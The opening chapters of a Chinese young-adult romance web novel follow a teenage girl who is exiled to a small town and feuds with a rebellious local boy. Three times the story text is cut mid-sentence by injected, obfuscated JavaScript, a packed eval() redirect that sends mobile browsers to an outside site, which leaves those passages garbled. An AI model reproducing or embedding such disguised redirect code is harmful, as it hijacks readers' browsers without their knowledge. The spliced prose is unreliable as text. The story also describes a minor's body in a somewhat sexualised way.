《蝴蝶飞过一叶舟》 1. 被迫流放小镇 大晚上的要抢劫吗? 「留下或者离开,总不会是我说了算。这大概就是命运吧。」 ——《小蝴蝶的暗夜》 夜色深浓,七月的小镇,热意如浪潮般,阵阵袭来。 下了大巴的驰路,拖着沉重的行李箱,背着双肩包、斜挎包,朝广场走去。 刚出来,便吹来一阵风,灰尘漫天,直往她鼻子里钻,各种零食袋、塑料袋在风中乱舞。 黑色马丁靴被什么东西勾住,低头一看,是一个脏兮兮黏糊糊的红色塑料袋。 她不得不停下来,拿出一张纸,恶狠狠地撕掉这恼人的玩意儿。 算是芳町镇送她的第一份贺礼? 这就是她即将要生活一年的地方? 喧嚣的广场上,到处都是密密麻麻的人,不少来接人的。 而她知道,不会有人来接她。 在这个世上,谁都不要她了,她就这样迎来人生的第四次转折——被老妈从蓝城流放到一个叫“芳町”的小镇。 她的老爸老妈无情地将她抛弃,老爸带着他的宝贝儿子跑国外了,老妈跟着别的男人跑了。 她不再是蓝城暴发户家里的小公主了,朝夕之间,沦为芸芸众生中的一员,还是凄凄惨惨戚戚的那个。 驰路走到路边,拿出手机,找到打车软件,等了半天,都显示附近无车辆,这才九点多,怎么就一辆车都没有?还是说,这里压根儿就没有打车服务? 驰路拖着行李箱想往路边走,走来几个大叔,问她去哪儿,她报了个地方,人人都说挺远,得坐车,说他们的车就停在路边,给钱就走。 驰路瞥一眼他们口中的车,一辆辆蹦蹦车,她从没坐过,也不想坐,断然拒绝。 她站在路边等出租车,这一等就等了二十分钟,左等右等没等来,反而等来了不少私家车。 当开来第六辆私家车时,她终于妥协地想坐上去,但看到后座那泛黑破皮、满是碎屑的座椅时,一把关上了门。 穿着黑色紧身T恤、超短辣妹短裤、黑色铆钉靴的她,蹲在马路牙子上,像落寞又孤寂的一缕魂魄。 她眼神空茫地望着一辆又一辆开过的车。 …… 夜越来越深,好不容易等到了下一辆车,司机是位大叔,心善地帮她把沉重的行李箱搬到后备箱里。 “姑娘,你这是从外地刚回来吗?”司机大叔瞧了眼坐在后座的驰路。“叔叔,我外地人。”驰路回。 “怎么来我们这儿了?带这么多东西,是要在这儿长住吗?” 她怎么会来这里? 这要追溯到她人生的第三次转折——她爸那个暴发户,据说被人算计,一夜间,一无所有,连夜带上他的宝贝儿子逃到国外躲债。 她的天地开始了翻天覆地的变化,她似被折断翅膀的飞鸟,从高空重重坠落。 家里的保姆、保洁阿姨都被遣走了,就剩她跟她那个已经整整五年没下过厨的老妈。 有天晚上,老妈难得郑重其事地跟她说:“阿驰,妈找了个新对象,对方不想我带孩子,妈妈想,过段时间跟他好好说说,能不能带上你。” 说话毫不拖泥带水,没有犹豫,没有惭愧,就差直白地告诉她:妈妈没办法,妈妈不能要你了。 “妈,你想跟谁在一起,跟我没关系。”驰路抬起那双狐狸眼,“您要我做什么?” “把你之前的那些臭毛病、坏习惯都收起来,好好学习,要是考年级前五,我还能跟他说说。” “好!” 距离高二结束剩下三个月,那三个月,驰路脱离了她的那帮狐朋狗友,在老妈给她租的一间出租屋里拼命学习,每天基本只睡四五个小时。 月考排名节节攀升,期末考,她从之前的年级倒数,一跃考入年级第一。 谁都大跌眼镜,谁都觉得她作弊了,但最终各种查证,她清清白白。 只是仍有各种谣言满天飞:渣女变身抄袭怪了、抄袭怪滚出学校、抄袭怪该死…… 言语攻击不够,还在她的出租屋墙上写恶毒话语,在出租屋前放花圈,祝她“早死下地狱”。 当晚,她给路女士打了通电话:“妈,看到我发你的成绩单了吗?” “看到了。”路女士那头吵吵闹闹,噪声很大。 “能带上我了吗?”语气里有隐忍的憋屈。 驰路不擅于低头,但这次没办法,老爸不要她了,老妈要跟别人跑了,她无家可归,她得拽住点什么,才不至于让自己坠入无底深渊。 “我会跟他说……” 话没说完,驰路听到电话那头传来亲吻声:“跟谁打电话呢,你现在是我的,赶紧挂了。” 驰路对这样的事习以为常,但她没想到,路女士落魄后,依旧死性不改。 她言语嘲讽:“妈,跟人谈就要用心点,不打扰您了。” 那晚,驰路望着天花板,望了一夜。 她像暗夜里的孤魂,漂泊游荡,无人问津。 翌日黄昏,驰路接到了路女士打来的电话:“阿驰,我跟他说了一晚上,他说再等等吧。” “然后?”驰路望着窗外的落日,眼里多了一丝空茫。 “阿驰,妈妈现在没法带你走,但妈妈给你找到地方了。”路女士说,“你去我朋友家,我跟他说好了,你就放心住着,学校也让他帮你找好了。” 她朋友家?她哪个好朋友,竟然肯收留她?为了钱吧! 落日余晖美得炫目,但在驰路的眼里,却像泼洒的滔天巨浪。 她不过是一叶扁舟,生生地被巨浪掀翻。 …… 驰路不可能把这些事告诉一个陌生人,她回司机大叔:“来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560718|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿上学。” 司机大叔跟她聊起家常,她回得言简意赅。 不知绕了几条街、过了几条道,车越来越颠,颠得驰路有些反胃,身体前后左右地晃,像一颗跳跳糖。 车忽然停了下来,驰路望了望窗外残破的路、陌生的楼:“叔叔,到了?” “等下,有人拦车。”司机开了门,走上前去。 驰路看到司机正跟一个抱着婴儿的妇人说着什么,妇人面色慌张焦急。 半晌,司机跟妇人一起匆忙地跑过来。 司机拉开驰路这边的车门,急忙道:“姑娘,不好意思啊,她家孩子生病了,要急着送去医院,你就在这儿下,可以吗?离你说的地方也不远了。就在前面了,你往前一直走,不认识的话,可以问问人。” 驰路能说什么?当然是别人的事更为紧急,不得不付钱下车。 夜,黑漆漆的,周围空无一人,一栋栋二层建筑在夜色中灰扑扑的,建筑上的白色瓷砖掉落了好多块,露出里面的青色砖墙。 驰路按照司机指的方向往前走。 路坑洼不平,走一步,扬起一阵尘土,直往她鼻子里钻,没走几步,行李箱扬起的尘土越来越多,呛得她眯眼咳嗽。 走完这段坑洼地,驰路已累得满头大汗,手心、脚心一阵疼。 但她没管这些,想快点到达老妈说的栾花巷32号。 她在巷子里左拐右拐,不知道拐到了什么地方,借着路灯,看到了巷名——万柳巷。 走错了,她正想着找人问下路,身后却传来一阵急促的脚步声。 驰路刚想转头看,人便被一把按在了身后的墙上,力道不小,来势汹汹。 她被弄得急速地往后退,身体重重地撞到墙上,头也撞了上去,生疼。 这是谁!大晚上的要抢劫吗? 驰路没慌,只有愤怒,怒视来人。 “你瞪什么瞪!”面前的人留着吊炸天的非主流白色刺猬头、小眼睛,面色不善地看她。 她不为所动,嘴角扬起一抹嘲讽的笑。 “笑什么笑!”刺猬头一下子愣了,没想到面前的女生这么淡定,“你快把我的东西拿出来!” 驰路二话不说,用力拨开他的手。 刺猬头又想伸手按住她的胸膛,听到暗夜里发出冷漠低沉的嗓音:“住手!” 驰路朝来人看去,一个穿着宽松黑色背心、松垮牛仔裤的高大身影从巷子深处走来,走起路来,痞里痞气,浑身透出“老子不好惹”的嚣张气焰。 他的脸隐在暗色里,却能看得见轮廓,坚毅的、凌厉的,刀锋般锐利。 “舟爷。”刺猬头惊道。 那是驰路第一次见到谢劲舟,从暗夜里走向灯火阑珊处。 她以为他是她的救世主,却不想他是她的灾难源。 2. 初遇谢大佬 「日光的缆绳上,我看见鸟在翱翔、蝴蝶在飞舞、玫瑰在绽放。 有人不辞万里,踏去远方。」 ——《孤舟难行》 “舟爷,你怎么来了?”刺猬头收回手,朝走过来的男生打招呼。 “怎么回事?”谢劲舟的声音很沉,也很锋利,犹如一把利刃划破长夜。 他站到驰路身前,驰路这才得以见到他的全貌。 长相痞帅,冷白皮,头发染成雾霾蓝,右侧剃了一大块,只留着些许的发茬,发茬上有一个很醒目的“X”,像一道嚣张的文身。 左耳戴着一枚黑色耳钉,右耳耳垂戴着三枚挨在一起的大小不一的黑色耳环,耳骨上还挂着黑色耳桥,脖颈处有一道清晰的黑色字母文身,胸前挂着一条黑绳项链,项链的下面有一枚吊坠,在黑暗中闪着幽蓝的光,整一个社会哥的配置。 额前的刘海大半被分在了右侧,微微遮盖住他的剑眉,单眼皮,鼻梁高挺,嘴巴很薄,嘴巴下方有颗痣,露出的臂膀上有分明的肌肉,线条流畅。 他看人的眼神格外冷漠,像高山上覆盖的冰雪。 “舟爷,这妞儿偷了我钱包。”刺猬头气道。 驰路听得一脸懵,她偷了他的钱包?这是贼喊捉贼?明明是他在抢劫! “血口喷人是你的强项?”驰路嗤笑一声,神色里全是讥讽。 谢劲舟上下扫视她:“是不是血口喷人,先检查了再说。” “你要做什么?”驰路感到他的眼神像冷酷的扫描仪扫视她,格外不自在,“我刚到这儿,都不认识这只刺猬。” 刺猬头气得直跳脚:“你叫我什么?”这一头白色毛发可是他引以为傲的杰作,怎么成刺猬了? 驰路挑眉,挑衅道:“要不,叫白刺猬龙傲天?” 一直冷着脸的谢劲舟嘴角往上勾了勾,一副看好戏的模样。 “舟爷,你听这妞儿都说的什么!”刺猬头眉一皱,“快检查吧,检查完就知道她有没有撒谎了。” 刺猬头正想朝驰路伸手,立刻被谢劲舟拦住:“我来!” 驰路看着谢劲舟抬起的手臂,忽然有点慌,这是要来真的吗? 驰路以为他要对自己做点什么,然而,他只是一步一步朝她逼近。 她想往后退,但退无可退,身体已经贴到墙。 “舟爷,你还犹豫什么啊?她肯定藏在她包里了!” 罗子昂见谢劲舟迟迟未动,拽下驰路的包,扯到了拉链,双肩包大开。 哗啦啦一阵响,所有的东西都砸到地上。 驰路望着洒了一地的宝贝,忽然怔住,怒不可遏。 地上洒满了各式各样的首饰,都是些夸张耀眼的耳挂、颈链、腰链、脚链…… 刺猬头看得大为震惊:“贩卖首饰的啊!” 谢劲舟的眉头皱了皱,弯下腰,从那堆散乱的首饰里,挑出来一条银色蝴蝶腰链,用他那修长的手指勾着,薄薄的眼皮一掀,看向驰路:“你还有这癖好!” “关你屁事!”驰路瞪他。 谢劲舟不怒反笑,把手里勾着的腰链塞到驰路手中,跟刺猬头说:“走了!” “舟爷,大箱子还没查呢。”刺猬头追上去。 谢劲舟没说话,转身离去。 驰路用能杀人的眼神望着渐行渐远的两人,重重舒了口气,还好不是抢劫的。 她蹲下身,捡着散落一地的首饰,有什么尖锐的东西戳到了她的手心。 摊开掌心一看,耳环的针戳中了手心,正渗出血珠。 驰路拿纸轻轻擦掉血珠,又擦着粘在铆钉耳钉上的血迹,一遍遍地擦着。 擦着擦着,忽然,鼻头一阵泛酸,啪嗒,豆大的眼泪掉在耳钉上,就着滚烫热泪,她又把耳钉擦拭一遍,这才装进包里。 再多委屈、难过,只能独自承受。 …… 走过一栋又一栋陌生的小楼,驰路终于来到了栾花巷32号。 此时,她的双腿、双臂都仿佛不是自己的,又疼又酸。 她望着破旧平房上歪歪斜斜挂着的蓝色牌子,上面用白字写着:栾花巷32号。 驰路拖着沉重的箱子往里走,这是一栋二层小楼,但跟其他房子有所不同,其他房子基本是三间,这只有两间,看起来小。 整栋楼都关着灯,黑漆漆的,只有一层薄薄的月光洒落在房前,透出几许苍凉意味。 她有些无措地站在院子中间,她该敲哪扇门?谁会为她开门? 驰路拿出手机,给老妈的好友打电话,打了三遍,都没人接。 这确定是老妈的好友吗?如果是的话,不去车站接她就算了,怎么连人影都没见着。 这就是传说中的塑料友情吧! 在她要继续打时,吱嘎一声,传来一阵响声。 驰路朝声音处看去,只见从屋里走出来一个头发半白的老太太,脊背有些佝偻。 这是谁? 老太太穿着一件宽大的白色汗衫、藏青色短裤、手里摇着一把蒲扇,站在门口朝她这边瞧,声音有些苍老:“谁啊?” 驰路没走过去,拔高声音,礼貌地问:“您好,我是驰路,请问谢鸿运住这里吗?” “是啊。”老太太走过来,把驰路上下打量一番,“你就是驰路啊,城里的孩子就是不一样。” 面前的小姑娘,皮肤很白,巴掌脸,狐狸眼,超短裤,大热天的穿着铆钉靴,好看又洋气,跟从电视上走出来的明星似的。 “一路上累了吧,快过来。”老太太想要去帮她拖行李箱,驰路没让:“奶奶,箱子重,我来拉。” “有什么重不重的,五十斤的酒箱子我都搬过,拉个箱子算什么。”老太太一把拉过箱子就往二层小楼走去。 驰路见老太太健步如飞地往前走,便也没再说什么,跟着老太太往前走。 进了门,老太太把她的箱子放下来,招呼她坐下。 驰路望着满是油渍的桌面和脏污的椅子,皱了皱眉,这是人坐的吗? 老太太根本不知道城里人多讲究,也就不知道驰路心里在想什么,拉她就坐。 驰路就这样被老太太按着坐了下来。 老太太慈眉善目,有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560719|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像她的外婆,一阵好感袭来,她问老太太:“奶奶,晚上我睡哪里?” “你家里人叫你什么?” “阿驰。” “阿驰,你先坐着,奶奶去给你煮一碗面,等你吃饱了,奶奶带你去你的房间。”老太太说完没等驰路继续说,就转身出去了。 这是驰路没想到的善意,老太太热情得好像她是这个家里的一份子,好像她是她的孙女。 …… 等待间隙,驰路收到了好友安然的微信:阿驰,你转学怎么没告诉我一声? 说实话,连她都没想到自己会突然转学,她以为只要自己学习拔尖,老妈便会兑现承诺,怎么着也会把她带在身边。 只是,她怎么也没料到,跟爱情比起来,她这个女儿,不过是累赘。 所以,她转学的消息,谁都没告诉。 在来的路上,她发了条朋友圈:以后一年,要在芳町三中过,朋友们,再会! 配了张路途风景照。 她给安然发过去一条信息:我也是刚被通知的。 人生无常,她不过是任人派遣的小舟,想要把她调到哪儿,她就漂去哪儿,谁让她现在没有能力养活自己,只得仰人鼻息。 安然很快又发来一条:阿驰,你到新的地方也好,要不然那帮臭虫还不放过你。 驰路知道安然在说什么,那帮臭虫指的是嫉妒她、厌恶她的那帮人,恨不得把她踩在脚底下,恨不得她早死。 除了对她的那些抄袭造谣,除了她出租房前的那些花圈和恶语,还有在无人的巷子里,他们对她的拳打脚踢,她满身伤痕,无法抵抗。 还留在身边关心她的,唯有安然。 …… 老太太端着一碗面来了,打断了她的思绪。 是一碗凉面,旁边放了一个小碟子,是调好的酱料,驰路放了些酱进去,搅拌完,挑起一筷子面,吃了一口,听到老太太期待地问:“怎么样?” “好吃。”驰路边吃边回。 “这是我自己做的,饸饹面,也不知道你吃不吃得惯。” “奶奶,你这做的,跟饭店的差不多了。”驰路一点没吝啬自己的夸赞,朝老太太竖起大拇指。 老太太脸上露出满意的笑容。 等驰路吃完,老太太站起来,帮她拉箱子:“阿驰,你跟我过来,你的房间在二楼。” 她把双肩包递给老太太,自己接过行李箱:“奶奶,箱子重,我来拎。” 驰路往前走,刚迈出几步,余光瞥见了长柜上的一个相框,裱着一张全家福,老太太坐在最中间的椅子上,身上抱着一个扎着两条羊角辫的小女孩,右手边站着一个十几岁的男生,后面站着一对中年夫妇。 这男生……格外眼熟,瘦高,痞帅,黑发,冷漠地看着镜头,眼神凌厉,锋芒毕露。 驰路放下行李箱,指着照片上的男生问老太太:“奶奶,这是?” “我孙子。”老太太叹口气,“谢劲舟。这死孩子,还没回来!” “……”驰路怔怔地站在原地,燥热的身体,忽然间,如坠冰窖。 3. 社会哥不好惹 「人间的苦和愁,原来都相似。 像我们看到的都是同一个月亮。」 ——《小蝴蝶的暗夜》 翌日,驰路被一阵吵闹声吵醒,吵得她脑壳儿嗡嗡作响。 “你还知道回来!”冷冽的男声。 “你就这样跟你老子说话的!”沧桑的男声。 “天天去赌,你知不知道欠了多少钱?把家里这点底都赌光了,你才罢休?” “老子的事不用你管!”男人怒气冲冲道,“你以为你好到哪里去?染个蓝发演蓝毛怪?打这么多耳洞、文文身扮古惑仔?天天就知道跟那些二流子出去鬼混。就你这样,有什么资格管你老子?你就烂死在这里吧!” …… 一句句话,都往对方心窝里扎,哪句话狠就说哪句。 驰路听得心烦。 她一晚上几乎没怎么睡着,她认床,即使换了新床单,床上还是能闻到属于某个人的气味,烟味混合着别的味道,不难闻,但她不习惯。 没有空调,没有电扇,热得浑身冒汗,蚊子肆虐,咬得她身上起了几个包。 天快亮她才迷迷糊糊地睡着,她从枕头边拿出手机,看了看时间,才八点多,本来还想继续睡,但窗外阳光照进来,越发热,蚊子又在脑袋边飞来飞去。 她实在睡不着,拿着衣服去卫生间冲澡。 昨晚她便见识了卫生间的破旧,里面的瓷砖坏了几块,洗脸盆裂了,水龙头、淋浴头都生了锈,能用吗? 她别无选择,不能用也得将就着用! 洗浴用品,她一个没带,卫生间里只有一块被用过的肥皂,一瓶洗发水,但没有护发素、没有沐浴露,更没有身体乳。 一切从简,她没用那块肥皂,而是用洗发水搓出泡泡,抹遍全身。 洗完澡出来,浑身都是柠檬味,倒也清新。 她坐在床上,没管头发上滴落的水珠,从桌上拿了把蒲扇扇着,打开手机听歌,慵懒的男声从手机里响起: 我盼望最好永远不长大 我向往躲开岁月的惩罚【注】 …… 谢劲舟就在这时上来的,房间的门敞开了些,他看到了侧坐在床上背朝自己的驰路。 刚洗过澡的驰路头发散乱在肩头,齐肩发,看起来有些乱,晶莹的水珠顺着发梢滴落在她白得发光的肌肤上。 她穿着白色短款紧身吊带背心,浅蓝色运动短裤,裤缝中间有两道白杠。 她很瘦,四肢格外纤细,短款背心下是盈盈可握的腰肢,只要稍稍扬手扇风,便露出光洁的一截,勾人心魂。 光看这些,极具少女感,但该丰满的地方又极其丰满,宛若妩媚娇艳的玫瑰。 论身材,谢劲舟见过太多好身材的女生,但她跟他见过的任何女生都不一样,她光坐着那儿,就透出一股野蛮的劲儿。 这股劲儿跟她由内而发的气质有关,也跟她后背上张扬的文身有关。 吊带背心让她的后背露出一大片肌肤,看得见她精致的蝴蝶骨,蝴蝶骨中间栖息着一只硕大的黑色蝴蝶,跟她白色的肌肤形成剧烈反差,张扬肆意,透出年少张狂。 这是一只断翅蝴蝶,没有右半边翅膀,连接着身体的部位支离破碎。 翅膀空着的地方有着一道道青色痕迹,清晰刺眼。 她有一双笔直的腿,细长,在洒进来的阳光下,泛着潋滟的光。 右脚踝处也有一处文身,看不清具体文了什么,是酒红色的。 这是他见过最酷的妞儿。 昨晚,刺猬头罗子昂跟他说:“舟哥,别说,我们见过的那妞儿长得贼好看!” 这世上长得好看的女生不缺,但又好看又酷的,不多。 何况在这个偏僻的芳町镇,更是寥寥。 “看够了吗?”驰路一扭头,那双魅惑的狐狸眼往上一挑,直直地对上谢劲舟。 “下来吃饭。”谢劲舟说完头也不回地下了楼。 “过来!”驰路喊住他,摇着蒲扇,“你就没什么要跟我说的?” “我需要跟你说什么?”谢劲舟用一种“你这人真搞笑”的眼神冷冷地看她。 他不记得昨晚误会她是小偷的事? 驰路并不想就此放过,提醒道:“昨晚……” 谢劲舟刚跟谢鸿运吵了架,心里烦得很,言辞不善道:“老子没跟人道歉的习惯。” 谁要你道歉了?说句误会之类的,不会吗? 见他不为所动的样子,驰路朝他翻了个冷眼,移开话题:“你家里就没有一台电扇吗?” 谢劲舟靠在门边,懒懒地抬了抬薄薄的眼皮:“想要自己去买。” 驰路站了起来,朝他走去,走到他身前停住,把蒲扇往他黑色T恤上一指:“你就是这样对待贵客的?” “贵客?”谢劲舟勾唇嗤笑,“别太把自己当回事!在这儿没人惯着你!”说完一把拿开那把蒲扇,抽了回来,“别随便拿别人家的东西。” 驰路望着谢劲舟离去的背影,气得牙根痒痒。 但谢劲舟说得没错,她寄人篱下,什么都不是,不会再有人捧着她。 驰路刚想下楼,看到谢劲舟忽然转头看她:“把上衣换了。” 驰路不解:“为什么?” “露出的肉不值钱。” “……”驰路脱下一只人字拖,就要朝他扔去。 谢劲舟丝毫没躲,松柏般挺直地站着,甚至还能看到他嘴角一抹不易察觉的笑。 最终,驰路没扔人字拖,乖乖穿上,换了件稍微长些的白色背心,但也是紧身的。 谢劲舟再次看到驰路时,她换好的上衣,仍旧勾勒出她那凹凸有致的婀娜身材。 桌上摆着四碗粥,用小花盘摆了几个大白馒头,其他什么都没有。 这里人的早餐都这样?还是说,只有谢劲舟家是这样的早餐? 桌上有飞舞的苍蝇,嗡嗡嗡地叫,有的苍蝇大胆地停在碗沿上。 昨晚吃得晚,驰路现在还不饿,但渴了,让她喝这样粥,不如让她去死。 厅堂里就她跟谢劲舟,她抬头仰视他:“有水吗?” “有粥,喝什么水。”谢劲舟见她那嫌弃的眼神,没好气道,“别以为自己还是什么大小姐。” “我有说过自己是大小姐吗?”驰路气恼地瞪他。 “你吃不吃?”谢劲舟端起一只碗,“不吃,我给奶奶送去。” “随你!”驰路不稀罕这碗粥,舔了舔干裂的嘴巴。 “谢劲舟,你这是在干吗,人一小姑娘刚来,你就是这样对人家的?”响起一大嗓门男声。 驰路朝来人望去,是一个穿着老汉衫的男人,胡子拉碴的,右腿看起来不利索,一颠一颠地往前走。 谢劲舟跟他的脸部轮廓有些相似,大概是谢劲舟的老爸吧。 “叔叔好。”驰路变身乖乖女,脸上堆起笑。 谢劲舟微微蹙眉,这人唱川剧的吧,变脸真快。 谢鸿运朝驰路笑道:“阿驰啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560720|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,昨天叔叔本来要去接你的,正好有事没能去,你别介意啊。” 驰路闻到了他身上浓重的酒味,眉头一皱,但很快恢复笑容:“怎么会呢,叔叔,我还要感谢您能收留我。” “客气的话,咱们也就不多说了。”谢鸿运坐下来,“听你妈说,你成绩很好,以后我家这浑小子,就拜托你了。” 驰路朝谢劲舟看了眼,他眉头拧着,显然很不喜欢他老爸聊的这个话题,大概说到他的痛处了。 驰路落落大方道:“叔叔,您放心,只要他愿意配合,我完全没问题。” “小谢,听到没,现在有个好老师在这儿,还有一年,你努努力,说不定还能考上大学。” “叔叔,小谢同学以现在的分数,是考不上大学吗?” “成绩倒数,能考得上什么大学。” 驰路忍住笑,原来这个冷漠不好惹的社会哥,是个学渣。 谢劲舟冒了火,重重地拍了下桌子:“谢鸿运,你说够了没!” 谢鸿运也重重地拍了下桌子,站起来,怒视谢劲舟:“谢劲舟,老子为你好,你这是什么态度!” 谢劲舟的声音冷冰冰:“谁要你为我好了?你少说两句会死?” 谢鸿运怒斥道:“谢劲舟,你这一辈子就想烂死在这里?” 谢劲舟冷冷地抛下三个字:“要你管!” 这是什么家人相处模式,这两人的架势就差打架了。 驰路做起和事佬,拉着谢鸿运坐下来:“叔叔,您消消气,我会好好教他,怎么着,也争取帮他考个大学。” 驰路实在口干舌燥,擦掉额头上冒出的汗珠,朝谢劲舟挤出笑:“小谢同学,可以麻烦你帮我倒碗水吗?” 谢劲舟把粥碗往驰路面前一推:“大小姐,喝这个!” 驰路看着被苍蝇叮过的碗沿,心里一阵作恶,推开:“我不要。” 谢鸿运朝谢劲舟呵斥:“赶紧去!” 谢劲舟哪儿都没去,大喇喇地坐下来,拿起一个大白馒头,就着白粥喝。 这时,从楼上走下来一个扎着两根麻花辫的小女孩,看起来格外不爽,沉着脸,眉眼跟谢劲舟有七八分相似。 小女孩先是朝谢鸿运、谢劲舟扫了一眼,拔高声音,冷声道:“你们吵够了吗?” 驰路用看戏的眼神望着这一家子,一个个看起来都不好惹。 除了谢奶奶,其他人怎么都在飚高音,以为这是摇滚乐比赛的PK台吗? “好了好了,都在干吗呢。”谢奶奶从前院走过来,“你们就不能好好说话?” 谢鸿运看都没看谢奶奶一眼,趿拉着拖鞋,拖着不利索的右腿往前走,双手背在后面,跟个悠闲的老干部似的扬长而去。 谢劲舟望着谢鸿运,面色阴沉:“谢鸿运,你再去赌,被我知道了,把你的手剁了!” 谢鸿运头也不回地说:“谢劲舟,你别管老子,有本事管好你自己!”背朝他,挥了挥手。 这一家子,除了谢奶奶,做爸的没做爸的样子,做儿子的没做儿子的样子,做女儿的也没做女儿的样子。 但不管什么样子,总而言之,这三人都不是什么善茬。 驰路问谢奶奶哪儿有水。 正说着,一瓶冰冷的水贴到她的手边,忽然而至的冷意吓得她的身体一哆嗦。 她一扭头,看到谢劲舟正望着她,眼眸深沉如潭,似漾起一丝波澜,他轻启薄唇:“喝之前,先把你这核桃眼敷敷。” “……” 4. 有人耍流氓 是不是把你弄疼了? 「自由,比从前少了点。 因为,有人闯入了我的世界。」 ——《孤舟难行》 驰路望着镜子里的自己,明明昨晚只哭了一小会儿,怎么眼睛有些肿?大概跟睡不好有关。 敷了敷眼睛,灌了半瓶凉水,驰路才觉得舒服了些。 她问谢奶奶哪儿有卖电风扇、床上用品、生活用品的地方,谢奶奶跟谢劲舟说:“小谢,你带阿驰去集市看看。” 谢劲舟双手环胸,懒懒地靠在柜子前:“没空。” “电风扇?”谢奶奶想到了什么,“小谢,你屋里不是有电风扇的吗?” “借给罗子昂了。” “去拿啊,阿驰就不用买电扇了。”谢奶奶走到谢劲舟面前,“你怎么就没时间了,天天出去鬼混!” 谢劲舟掏出手机,看了看时间:“我又找了份兼职,今天第一天上班,不能迟到,我要走了。” 谢奶奶见谢劲舟要走,连忙拽住他的胳膊:“站住!人小姑娘来第一天,什么都没有,你陪她!你说兼职多少钱,我把钱补给你。” “算了。”谢劲舟看着奶奶,无奈道,“我陪她。” “好好对人家小姑娘。”谢奶奶说完出门了。 小女孩早已吃完饭,不知跑哪儿玩了。 谢劲舟跑去左边的房间,驰路正往楼梯上走,忽然被他叫住:“拿走。” 拿什么? 驰路一转头,看到谢劲舟手里拿着一瓶花露水,外面的纸被撕掉了,只有光溜溜的瓶子。 她佯装不知道是什么,眨眨眼问:“这是什么?” 谢劲舟站着没动:“你故意的吧?” 驰路继续装不知道:“我怎么故意了?” 谢劲舟走上楼梯,一步一步地朝她走去。 她的目的达到了,她非要这个冷若冰霜的少年主动走向她。 谢劲舟把花露水塞她手里,跟昨晚把腰链塞她手里一样,强迫的、霸道的、嚣张的,带着点狠劲儿。 驰路本来不想喷,几年没碰这玩意儿了,但胳膊上、腿上都有蚊子咬过的包,又难看又痒,不得不拿了花露水,第一次朝他露出笑意:“谢了!” 她没去房间喷,而是在这个狭小逼仄的楼梯上,当着谢劲舟的面,喷在胳膊上、腿上,空气中瞬间弥漫开混合着柑橘、茉莉的味道,清新淡雅。 不是她喜欢的味道,她喜欢浓烈的、张扬的,风一吹,谁都能闻到,谁都能感到她的存在。 驰路朝他身前靠了靠,丰满的胸脯几乎要贴近他才停住,拿出花露水往他身上喷了一下,还想喷时,被他用力地拽住纤细的手腕。 她的脸被他扳过来,谢劲舟捏住她的下巴,眼神凌厉:“你在做什么?” 驰路不怒反笑,抬手抚在他修长的指间,一寸一寸地抚上他的手背,他的手劲瘦,盘踞着青筋,是属于少年人狼性般的手。 驰路眼睛上挑,含笑道:“小谢同学,帮你去去身上的烟味。” 抬眸间,风情万种,眼尾的那颗胭脂痣,宛若绽放的玫瑰。 谢劲舟一把拨开她的手:“小谢同学是你叫的吗?” 驰路站直了身体,直视他:“你说,我该叫你什么?” 谢劲舟从口袋里拿出一根烟,点燃,吸了口,往上迈出一步,靠近驰路,将烟尽数喷吐到驰路脸上,眯起眼,吊儿郎当地说:“你不打算自我介绍下?” 驰路闻出来这是劣质烟的味道,抬手想拂掉呛人的烟雾,但面前的谢劲舟故意跟她作对似的,一口一口地抽,一下一下地吐,小小的空间里的茉莉香气被烟味取代。 “听好了,我行不更名,坐不改姓,”驰路干脆从他手里夺过烟,扔到地上,狠狠踩灭,勾笑道,“驰路,驰骋的驰,路遥知马力的路。” 谢劲舟看着被她踩灭的烟,蹙起眉头,眼神冷得吓人。 驰路感觉他的眼神似乎要吃人,趁着他要发作时,想着要不溜之大吉。 结果,还没等驰路开溜,谢劲舟拽起她便往楼上走,他使了力,拽得她手腕发疼。 驰路想要挣脱开,却被他拽得更紧:“谢劲舟,你松手!” 谢劲舟置若罔闻,把她拽到房间,用力关上门,把她狠狠地扔到床上,眼里射出凌厉的光。 这人发什么神经! 驰路把手里的花露水当做武器,高高举起:“你要是敢伤害我,我跟你拼命!” 谢劲舟声音很沉,面露不爽:“驰路,谁叫你没事拿别人香烟的?” 该低头时还是要低头,驰路觉得自己可能触到了他的逆鳞,放下花露水,用无辜的眼神看他,声音放软:“舟哥,抽烟有害健康,我这不是为了你的健康着想嘛。” 谢劲舟看到了放在桌上的一盒烟,甩到她身上:“装什么,你不抽烟?” 烟从烟盒里甩了出来,砸在驰路身上、脸上,让她来了气:“我抽烟,关你什么事!” 她刚想从床上抬起身,却发现后背有些疼,不禁皱起眉头,露出一丝痛苦。 谢劲舟蹙眉:“怎么了?” 